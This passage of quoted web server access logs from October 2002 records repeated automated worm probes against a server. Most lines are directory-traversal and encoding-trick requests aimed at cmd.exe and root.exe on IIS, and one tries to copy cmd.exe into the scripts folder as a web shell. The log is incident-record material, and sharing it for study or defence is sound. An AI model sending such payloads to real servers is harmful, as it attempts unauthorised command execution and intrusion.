> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.66.199.106 - - [26/Oct/2002:01:56:42 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.66.199.106 - - [26/Oct/2002:01:56:43 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.66.199.106 - - [26/Oct/2002:01:56:45 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.66.199.106 - - [26/Oct/2002:01:56:46 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.66.199.106 - - [26/Oct/2002:01:56:47 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.76.246.30 - - [26/Oct/2002:02:33:05 -0700] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 218.76.246.30 - - [26/Oct/2002:02:33:07 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 218.76.246.30 - - [26/Oct/2002:02:33:09 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.76.246.30 - - [26/Oct/2002:02:33:12 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.76.246.30 - - [26/Oct/2002:02:33:14 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.76.246.30 - - [26/Oct/2002:02:33:16 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.76.246.30 - - [26/Oct/2002:02:33:19 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.76.246.30 - - [26/Oct/2002:02:33:21 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 218.76.246.30 - - [26/Oct/2002:02:33:23 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.76.246.30 - - [26/Oct/2002:02:33:26 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.76.246.30 - - [26/Oct/2002:02:33:28 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.76.246.30 - - [26/Oct/2002:02:33:30 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.76.246.30 - - [26/Oct/2002:02:33:32 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.76.246.30 - - [26/Oct/2002:02:33:35 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.76.246.30 - - [26/Oct/2002:02:33:37 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.76.246.30 - - [26/Oct/2002:02:33:39 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.171.21.200 - - [26/Oct/2002:03:31:25 -0700] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 61.171.21.200 - - [26/Oct/2002:03:31:25 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 61.171.21.200 - - [26/Oct/2002:03:31:25 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 61.171.21.200 - - [26/Oct/2002:03:31:25 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 61.171.21.200 - - [26/Oct/2002:03:31:26 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.171.21.200 - - [26/Oct/2002:03:31:26 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 61.171.21.200 - - [26/Oct/2002:03:31:26 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 61.171.21.200 - - [26/Oct/2002:03:31:27 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 61.171.21.200 - - [26/Oct/2002:03:31:27 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.171.21.200 - - [26/Oct/2002:03:31:27 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.171.21.200 - - [26/Oct/2002:03:31:27 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.171.21.200 - - [26/Oct/2002:03:31:28 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.171.21.200 - - [26/Oct/2002:03:31:28 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 61.171.21.200 - - [26/Oct/2002:03:31:28 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 61.171.21.200 - - [26/Oct/2002:03:31:29 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.171.21.200 - - [26/Oct/2002:03:31:29 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 81.17.46.115 - - [26/Oct/2002:11:38:58 -0700] "GET / HTTP/1.1" 400 311
> 218.17.4.72 - - [26/Oct/2002:11:49:01 -0700] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 218.17.4.72 - - [26/Oct/2002:11:49:01 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 218.17.4.72 - - [26/Oct/2002:11:49:02 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.17.4.72 - - [26/Oct/2002:11:49:03 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.17.4.72 - - [26/Oct/2002:11:49:04 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.17.4.72 - - [26/Oct/2002:11:49:05 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.17.4.72 - - [26/Oct/2002:11:49:06 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.17.4.72 - - [26/Oct/2002:11:49:07 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 218.17.4.72 - - [26/Oct/2002:11:49:08 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.17.4.72 - - [26/Oct/2002:11:49:09 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.17.4.72 - - [26/Oct/2002:11:49:10 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.17.4.72 - - [26/Oct/2002:11:49:11 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.17.4.72 - - [26/Oct/2002:11:49:13 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.17.4.72 - - [26/Oct/2002:11:49:14 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.17.4.72 - - [26/Oct/2002:11:49:14 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.17.4.72 - - [26/Oct/2002:11:49:15 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 216.8.171.135 - - [26/Oct/2002:17:54:44 -0700] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 216.8.171.135 - - [26/Oct/2002:17:54:44 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 216.8.171.135 - - [26/Oct/2002:17:54:44 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 216.8.171.135 - - [26/Oct/2002:17:54:44 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 216.8.171.135 - - [26/Oct/2002:17:54:44 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 216.8.171.135 - - [26/Oct/2002:17:54:45 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 216.8.171.135 - - [26/Oct/2002:17:54:45 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 216.8.171.135 - - [26/Oct/2002:17:54:45 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 216.8.171.135 - - [26/Oct/2002:17:54:45 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 216.8.171.135 - - [26/Oct/2002:17:54:45 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 216.8.171.135 - - [26/Oct/2002:17:54:45 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 216.8.171.135 - - [26/Oct/2002:17:54:46 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 216.8.171.135 - - [26/Oct/2002:17:54:46 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 216.8.171.135 - - [26/Oct/2002:17:54:46 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 216.8.171.135 - - [26/Oct/2002:17:54:46 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 216.8.171.135 - - [26/Oct/2002:17:54:46 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.190.109.229 - - [26/Oct/2002:19:24:01 -0700] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 61.190.109.229 - - [26/Oct/2002:19:24:01 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 61.190.109.229 - - [26/Oct/2002:19:24:02 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 61.190.109.229 - - [26/Oct/2002:19:24:02 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 61.190.109.229 - - [26/Oct/2002:19:24:03 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.190.109.229 - - [26/Oct/2002:19:24:03 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 61.190.109.229 - - [26/Oct/2002:19:24:04 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 61.190.109.229 - - [26/Oct/2002:19:24:04 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 61.190.109.229 - - [26/Oct/2002:19:24:05 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.190.109.229 - - [26/Oct/2002:19:24:06 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.190.109.229 - - [26/Oct/2002:19:24:06 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.190.109.229 - - [26/Oct/2002:19:24:07 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.190.109.229 - - [26/Oct/2002:19:24:07 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 61.190.109.229 - - [26/Oct/2002:19:24:08 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 61.190.109.229 - - [26/Oct/2002:19:24:08 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.190.109.229 - - [26/Oct/2002:19:24:09 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 128.192.57.165 - - [26/Oct/2002:20:31:10 -0700] "GET
> /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 324
> 24.221.90.154 - - [26/Oct/2002:23:16:55 -0700] "GET
> /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.
> exe+c:\inetpub\scripts\script.exe HTTP/1.1" 404 306
> 203.141.141.3 - - [26/Oct/2002:23:53:00 -0700] "GET / HTTP/1.1" 400 311
> 211.102.106.6 - - [27/Oct/2002:01:40:56 -0800] "GET http://www.google.com/
> HTTP/1.1" 200 11971
> 211.74.255.201 - - [27/Oct/2002:04:18:18 -0800] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 211.74.255.201 - - [27/Oct/2002:04:18:19 -0800] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 211.74.255.201 - - [27/Oct/2002:04:18:20 -0800] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 211.74.255.201 - - [27/Oct/2002:04:18:21 -0800] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 211.74.255.201 - - [27/Oct/2002:04:18:21 -0800] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 211.74.255.201 - - [27/Oct/2002:04:18:22 -0800] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 211.74.255.201 - - [27/Oct/2002:04:18:23 -0800] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 211.74.255.201 - - [27/Oct/2002:04:18:23 -0800] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 211.74.255.201 - - [27/Oct/2002:04:18:24 -0800] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 211.74.255.201 - - [27/Oct/2002:04:18:24 -0800] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 211.74.255.201 - - [27/Oct/2002:04:18:25 -0800] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 211.74.255.201 - - [27/Oct/2002:04:18:25 -0800] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 211.74.255.201 - - [27/Oct/2002:04:18:26 -0800] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 211.74.255.201 - - [27/Oct/2002:04:18:27 -0800] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 211.74.255.201 - - [27/Oct/2002:04:18:27 -0800] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 211.74.255.201 - - [27/Oct/2002:04:18:28 -0800] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.66.194.181 - - [27/Oct/2002:04:44:50 -0800] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 218.66.194.181 - - [27/Oct/2002:04:44:51 -0800] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 218.66.194.181 - - [27/Oct/2002:04:44:52 -0800] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.66.194.181 - - [27/Oct/2002:04:44:54 -0800] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.66.194.181 - - [27/Oct/2002:04:44:55 -0800] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.66.194.181 - - [27/Oct/2002:04:44:56 -0800] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.66.194.181 - - [27/Oct/2002:04:44:57 -0800] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.66.194.181 - - [27/Oct/2002:04:44:59 -0800] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 218.66.194.181 - - [27/Oct/2002:04:45:00 -0800] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.66.194.181 - - [27/Oct/2002:04:45:01 -0800] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.66.194.181 - - [27/Oct/2002:04:45:02 -0800] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.66.194.181 - - [27/Oct/2002:04:45:03 -0800] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.66.194.181 - - [27/Oct/2002:04:45:04 -0800] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.66.194.181 - - [27/Oct/2002:04:45:05 -0800] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.66.194.181 - - [27/Oct/2002:04:45:10 -0800] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.66.194.181 - - [27/Oct/2002:04:45:11 -0800] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 172.160.110.211 - - [27/Oct/2002:05:11:11 -0800] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 207.241.148.39 - - [27/Oct/2002:08:27:03 -0800] "GET / HTTP/1.1" 206 100
> 61.59.144.173 - - [27/Oct/2002:08:41:56 -0800] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 61.59.144.173 - - [27/Oct/2002:08:41:57 -0800] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 61.59.144.173 - - [27/Oct/2002:08:41:58 -0800] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 61.59.144.173 - - [27/Oct/2002:08:41:59 -0800] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 61.59.144.173 - - [27/Oct/2002:08:42:00 -0800] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.59.144.173 - - [27/Oct/2002:08:42:01 -0800] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 61.59.144.173 - - [27/Oct/2002:08:42:01 -0800] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 61.59.144.173 - - [27/Oct/2002:08:42:02 -0800] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 61.59.144.173 - - [27/Oct/2002:08:42:03 -0800] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.59.144.173 - - [27/Oct/2002:08:42:03 -0800] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.59.144.173 - - [27/Oct/2002:08:42:04 -0800] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.59.144.173 - - [27/Oct/2002:08:42:05 -0800] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 61.59.144.173 - - [27/Oct/2002:08:42:06 -0800] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 61.59.144.173 - - [27/Oct/2002:08:42:07 -0800] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 61.59.144.173 - - [27/Oct/2002:08:42:08 -0800] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 61.59.144.173 - - [27/Oct/2002:08:42:10 -0800] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 200.45.231.37 - - [27/Oct/2002:10:35:26 -0800] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 200.45.231.37 - - [27/Oct/2002:10:35:27 -0800] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 200.45.231.37 - - [27/Oct/2002:10:35:27 -0800] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 200.45.231.37 - - [27/Oct/2002:10:35:28 -0800] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 200.45.231.37 - - [27/Oct/2002:10:35:28 -0800] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 200.45.231.37 - - [27/Oct/2002:10:35:29 -0800] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 200.45.231.37 - - [27/Oct/2002:10:35:30 -0800] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 200.45.231.37 - - [27/Oct/2002:10:35:30 -0800] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 200.45.231.37 - - [27/Oct/2002:10:35:31 -0800] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 200.45.231.37 - - [27/Oct/2002:10:35:32 -0800] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 200.45.231.37 - - [27/Oct/2002:10:35:32 -0800] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 200.45.231.37 - - [27/Oct/2002:10:35:33 -0800] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 200.45.231.37 - - [27/Oct/2002:10:35:34 -0800] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 200.45.231.37 - - [27/Oct/2002:10:35:34 -0800] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 200.45.231.37 - - [27/Oct/2002:10:35:35 -0800] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 200.45.231.37 - - [27/Oct/2002:10:35:35 -0800] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 66.196.65.17 - - [27/Oct/2002:11:30:29 -0800] "GET /robots.txt HTTP/1.0" 404
> 293
> 66.196.65.17 - - [27/Oct/2002:11:30:29 -0800] "GET / HTTP/1.0" 200 11971
> 218.58.121.107 - - [27/Oct/2002:13:33:40 -0800] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 218.58.121.107 - - [27/Oct/2002:13:33:40 -0800] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 218.58.121.107 - - [27/Oct/2002:13:33:41 -0800] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.58.121.107 - - [27/Oct/2002:13:33:41 -0800] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.58.121.107 - - [27/Oct/2002:13:33:42 -0800] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.58.121.107 - - [27/Oct/2002:13:33:42 -0800] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.58.121.107 - - [27/Oct/2002:13:33:42 -0800] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 67.114.211.89 - - [27/Oct/2002:13:33:43 -0800] "GET / HTTP/1.1" 200 11716
> 218.58.121.107 - - [27/Oct/2002:13:33:43 -0800] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 218.58.121.107 - - [27/Oct/2002:13:33:43 -0800] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 67.114.211.89 - - [27/Oct/2002:13:33:44 -0800] "GET
> /index_files/RC_UL_663366_330033.gif HTTP/1.1" 200 115
> 218.58.121.107 - - [27/Oct/2002:13:33:44 -0800] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 67.114.211.89 - - [27/Oct/2002:13:33:44 -0800] "GET /index_files/x.gif
> HTTP/1.1" 200 49
> 67.114.211.89 - - [27/Oct/2002:13:33:44 -0800] "GET
> /index_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 200 143
> 218.58.121.107 - - [27/Oct/2002:13:33:44 -0800] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.58.121.107 - - [27/Oct/2002:13:33:44 -0800] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.58.121.107 - - [27/Oct/2002:13:33:45 -0800] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.58.121.107 - - [27/Oct/2002:13:33:45 -0800] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.58.121.107 - - [27/Oct/2002:13:33:46 -0800] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 67.114.211.89 - - [27/Oct/2002:13:33:46 -0800] "GET
> /index_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 200 142
> 218.58.121.107 - - [27/Oct/2002:13:33:46 -0800] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
>
> 216.175.88.237 - - [27/Oct/2002:16:58:53 -0800] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 276
> 216.175.88.237 - - [27/Oct/2002:16:58:53 -0800] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 216.175.88.237 - - [27/Oct/2002:16:58:53 -0800] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 216.175.88.237 - - [27/Oct/2002:16:58:53 -0800] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 216.175.88.237 - - [27/Oct/2002:16:58:53 -0800] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
